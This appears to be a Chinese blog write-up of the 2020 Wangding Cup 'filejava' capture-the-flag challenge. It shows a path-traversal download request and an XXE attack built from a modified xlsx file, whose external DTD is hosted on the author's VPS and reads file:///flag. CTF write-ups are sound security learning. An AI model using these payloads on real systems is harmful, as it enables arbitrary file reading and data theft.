网鼎杯 2020 青龙组-Filejava
[网鼎杯 2020 青龙组]filejava
上传文件过后对下载文件进行抓包发现存在任意文件读取
尝试读取flag发现禁止读取
将web.xml下的类都读取一遍看看
1 | DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class |
发现文件里会对excel文件进行特殊处理
在UploadServlet中,使用poi3.10对xlsx文件进行解析,该版本poi存在XXE。当上传文件以execel-
开头,并且是xlsx
后缀时,使用poi解析xlsx文件并打印第一个sheet的第一个有效行行号。
.先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件夹里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx。(别忘了把后缀改回来,唉。。。因为没改回来我tm(
在第二行添加
1 | <!DOCTYPE convert [ |
建一个dtd文件放到vps
1 | <!ENTITY % file SYSTEM "file:///flag"> |
vps起个服务
1 | python3 -m http .server 89 |
上传xlsx就好了
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 晴川's Blog🌈!